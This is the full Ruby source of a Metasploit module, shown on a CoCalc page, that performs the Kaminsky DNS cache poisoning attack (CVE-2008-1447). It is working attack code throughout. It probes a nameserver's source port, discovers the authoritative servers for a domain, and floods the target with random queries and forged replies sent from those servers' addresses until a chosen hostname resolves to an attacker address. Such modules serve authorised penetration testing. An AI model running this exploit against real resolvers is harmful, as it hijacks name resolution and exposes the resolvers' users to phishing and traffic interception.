Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_host.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
require 'net/dns'
8
require 'resolv'
9
10
class MetasploitModule < Msf::Auxiliary
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'DNS BailiWicked Host Attack',
18
'Description' => %q{
19
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
20
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
21
malicious host entry into the target nameserver by sending random hostname
22
queries to the target DNS server coupled with spoofed replies to those
23
queries from the authoritative nameservers for that domain. Eventually, a
24
guessed ID will match, the spoofed packet will get accepted, and due to the
25
additional hostname entry being within bailiwick constraints of the original
26
request the malicious host entry will get cached.
27
},
28
'Author' => [ 'I)ruid', 'hdm' ],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'CVE', '2008-1447' ],
32
[ 'OSVDB', '46776'],
33
[ 'US-CERT-VU', '800113' ],
34
[ 'URL', 'http://web.archive.org/web/20160606120102/http://www.caughq.org:80/exploits/CAU-EX-2008-0002.txt' ],
35
],
36
'DisclosureDate' => '2008-07-21',
37
'Notes' => {
38
'Stability' => [SERVICE_RESOURCE_LOSS],
39
'SideEffects' => [IOC_IN_LOGS],
40
'Reliability' => []
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
48
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
49
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
50
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
51
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
52
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
53
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),
54
55
]
56
)
57
58
deregister_options('FILTER', 'PCAPFILE')
59
end
60
61
def auxiliary_commands
62
return {
63
'racer' => 'Determine the size of the window for the target server'
64
}
65
end
66
67
def cmd_racer(*args)
68
targ = args[0] || rhost
69
dom = args[1] || 'example.com'
70
71
if !(targ && !targ.empty?)
72
print_status('usage: racer [dns-server] [domain]')
73
return
74
end
75
76
calculate_race(targ, dom)
77
end
78
79
def check
80
targ = rhost
81
82
srv_sock = Rex::Socket.create_udp(
83
'PeerHost' => targ,
84
'PeerPort' => 53
85
)
86
87
random = false
88
ports = {}
89
lport = nil
90
reps = 0
91
92
1.upto(30) do |i|
93
req = Resolv::DNS::Message.new
94
txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
95
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
96
req.rd = 1
97
98
srv_sock.put(req.encode)
99
res, = srv_sock.recvfrom(65535, 1.0)
100
101
if res && !res.empty?
102
reps += 1
103
res = Resolv::DNS::Message.decode(res)
104
res.each_answer do |name, _ttl, data|
105
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
106
107
t_addr, t_port = ::Regexp.last_match(1).split(':')
108
109
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
110
t_port = t_port.to_i
111
if lport && (lport != t_port)
112
random = true
113
end
114
lport = t_port
115
ports[t_port] ||= 0
116
ports[t_port] += 1
117
end
118
end
119
120
if (i > 5) && ports.keys.empty?
121
break
122
end
123
end
124
125
srv_sock.close
126
127
if ports.keys.empty?
128
vprint_error('ERROR: This server is not replying to recursive requests')
129
return Exploit::CheckCode::Unknown
130
end
131
132
if (reps < 30)
133
vprint_warning('WARNING: This server did not reply to all of our requests')
134
end
135
136
unless random
137
vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')
138
return Exploit::CheckCode::Vulnerable
139
end
140
141
ports_u = ports.keys.length
142
ports_r = ((ports.keys.length / 30.0) * 100).to_i
143
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
144
145
if (ports_r != 100)
146
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
147
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
148
return Exploit::CheckCode::Appears
149
end
150
151
Exploit::CheckCode::Safe
152
end
153
154
def run
155
check_pcaprub_loaded # Check first.
156
157
target = rhost
158
source = Rex::Socket.source_address(target)
159
saddr = datastore['SRCADDR']
160
sport = datastore['SRCPORT']
161
hostname = datastore['HOSTNAME'] + '.'
162
address = datastore['NEWADDR']
163
recons = datastore['RECONS']
164
xids = datastore['XIDS'].to_i
165
newttl = datastore['TTL'].to_i
166
xidbase = rand(20000..40000)
167
numxids = xids
168
169
domain = hostname.sub(/\w+\x2e/, '')
170
171
srv_sock = Rex::Socket.create_udp(
172
'PeerHost' => target,
173
'PeerPort' => 53
174
)
175
176
# Get the source port via the metasploit service if it's not set
177
if sport.to_i == 0
178
req = Resolv::DNS::Message.new
179
txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
180
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
181
req.rd = 1
182
183
srv_sock.put(req.encode)
184
res, = srv_sock.recvfrom
185
186
if res && !res.empty?
187
res = Resolv::DNS::Message.decode(res)
188
res.each_answer do |name, _ttl, data|
189
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
190
191
t_addr, t_port = ::Regexp.last_match(1).split(':')
192
sport = t_port.to_i
193
194
print_status("Switching to target port #{sport} based on Metasploit service")
195
if target != t_addr
196
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
197
end
198
end
199
end
200
end
201
202
# Verify its not already cached
203
begin
204
query = Resolv::DNS::Message.new
205
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
206
query.rd = 0
207
208
loop do
209
cached = false
210
srv_sock.put(query.encode)
211
answer, = srv_sock.recvfrom
212
213
if answer && !answer.empty?
214
answer = Resolv::DNS::Message.decode(answer)
215
answer.each_answer do |name, ttl, _data|
216
next unless ((name.to_s + '.') == hostname)
217
218
t = Time.now + ttl
219
print_error("Failure: This hostname is already in the target cache: #{name}")
220
print_error(" Cache entry expires on #{t}... sleeping.")
221
cached = true
222
select(nil, nil, nil, ttl)
223
end
224
225
end
226
break if !cached
227
end
228
rescue ::Interrupt
229
raise $ERROR_INFO
230
rescue StandardError => e
231
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
232
end
233
234
res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver
235
236
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
237
238
# Look up the nameservers for the domain
239
print_status "Querying recon nameserver for #{domain}'s nameservers..."
240
answer0 = res0.send(domain, Net::DNS::NS)
241
# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
242
243
barbs = [] # storage for nameservers
244
answer0.answer.each do |rr0|
245
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
246
next unless rr0.type == 'NS'
247
248
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
249
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
250
# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
251
answer1.answer.each do |rr1|
252
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
253
res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)
254
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
255
answer2 = res2.send(domain, Net::DNS::SOA)
256
next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)
257
258
nsrec = { name: rr0.nsdname, addr: rr1.address }
259
barbs << nsrec
260
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
261
end
262
end
263
264
if barbs.empty?
265
print_status('No DNS servers found.')
266
srv_sock.close
267
close_pcap
268
return
269
end
270
271
if (xids == 0)
272
print_status('Calculating the number of spoofed replies to send per query...')
273
qcnt = calculate_race(target, domain, 100)
274
numxids = ((qcnt * 1.5) / barbs.length).to_i
275
if (numxids == 0)
276
print_status('The server did not reply, giving up.')
277
srv_sock.close
278
close_pcap
279
return
280
end
281
print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
282
end
283
284
# Flood the target with queries and spoofed responses, one will eventually hit
285
queries = 0
286
responses = 0
287
288
open_pcap unless capture
289
290
print_status("Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
291
292
loop do
293
randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname
294
295
# Send spoofed query
296
req = Resolv::DNS::Message.new
297
req.id = rand(2**16)
298
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
299
300
req.rd = 1
301
302
src_ip = source
303
304
if (saddr == 'Random')
305
src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')
306
end
307
308
p = PacketFu::UDPPacket.new
309
p.ip_saddr = src_ip
310
p.ip_daddr = target
311
p.ip_ttl = 255
312
p.udp_sport = (rand((2**16) - 1024) + 1024).to_i
313
p.udp_dport = 53
314
p.payload = req.encode
315
p.recalc
316
317
capture_sendto(p, target)
318
319
queries += 1
320
321
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
322
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
323
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
324
req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
325
req.qr = 1
326
req.ra = 1
327
328
# Reuse our PacketFu object
329
p.udp_sport = 53
330
p.udp_dport = sport.to_i
331
332
xidbase.upto(xidbase + numxids - 1) do |id|
333
req.id = id
334
p.payload = req.encode
335
barbs.each do |barb|
336
p.ip_saddr = barb[:addr].to_s
337
p.recalc
338
capture_sendto(p, target)
339
responses += 1
340
end
341
end
342
343
# status update
344
if queries % 1000 == 0
345
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
346
if (xids == 0)
347
print_status('Recalculating the number of spoofed replies to send per query...')
348
qcnt = calculate_race(target, domain, 25)
349
numxids = ((qcnt * 1.5) / barbs.length).to_i
350
if (numxids == 0)
351
print_status('The server has stopped replying, giving up.')
352
srv_sock.close
353
close_pcap
354
return
355
end
356
print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
357
end
358
end
359
360
# every so often, check and see if the target is poisoned...
361
next unless queries % 250 == 0
362
363
begin
364
query = Resolv::DNS::Message.new
365
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
366
query.rd = 0
367
368
srv_sock.put(query.encode)
369
answer, = srv_sock.recvfrom
370
371
if answer && !answer.empty?
372
answer = Resolv::DNS::Message.decode(answer)
373
answer.each_answer do |name, ttl, data|
374
next unless ((name.to_s + '.') == hostname)
375
376
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
377
print_status("TTL: #{ttl} DATA: #{data}")
378
close_pcap
379
break
380
end
381
end
382
rescue ::Interrupt
383
raise $ERROR_INFO
384
rescue StandardError => e
385
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
386
end
387
end
388
end
389
390
#
391
# Send a recursive query to the target server, then flood
392
# the server with non-recursive queries for the same entry.
393
# Calculate how many non-recursive queries we receive back
394
# until the real server responds. This should give us a
395
# ballpark figure for ns->ns latency. We can repeat this
396
# a few times to account for each nameserver the cache server
397
# may query for the target domain.
398
#
399
def calculate_race(server, domain, num = 50)
400
cnt = 0
401
402
times = []
403
404
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
405
406
sock = Rex::Socket.create_udp(
407
'PeerHost' => server,
408
'PeerPort' => 53
409
)
410
411
req = Resolv::DNS::Message.new
412
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
413
req.rd = 1
414
req.id = 1
415
416
q_beg_t = Time.now.to_f
417
sock.put(req.encode)
418
req.rd = 0
419
420
while (times.length < num)
421
res, = sock.recvfrom(65535, 0.01)
422
423
if res && !res.empty?
424
res = Resolv::DNS::Message.decode(res)
425
426
if (res.id == 1)
427
times << [Time.now.to_f - q_beg_t, cnt]
428
cnt = 0
429
430
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
431
432
sock.close
433
sock = Rex::Socket.create_udp(
434
'PeerHost' => server,
435
'PeerPort' => 53
436
)
437
438
q_beg_t = Time.now.to_f
439
req = Resolv::DNS::Message.new
440
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
441
req.rd = 1
442
req.id = 1
443
444
sock.put(req.encode)
445
req.rd = 0
446
end
447
448
cnt += 1
449
end
450
451
req.id += 1
452
453
sock.put(req.encode)
454
end
455
456
min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0
457
max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0
458
sum = 0
459
times.each { |i| sum += i[0] }
460
avg_time = ((sum / times.length) * 100).to_i / 100.0
461
462
min_count = times.map { |i| i[1] }.min
463
max_count = times.map { |i| i[1] }.max
464
sum = 0
465
times.each { |i| sum += i[1] }
466
avg_count = sum / times.length
467
468
sock.close
469
470
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
471
472
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
473
avg_count
474
end
475
end
476
477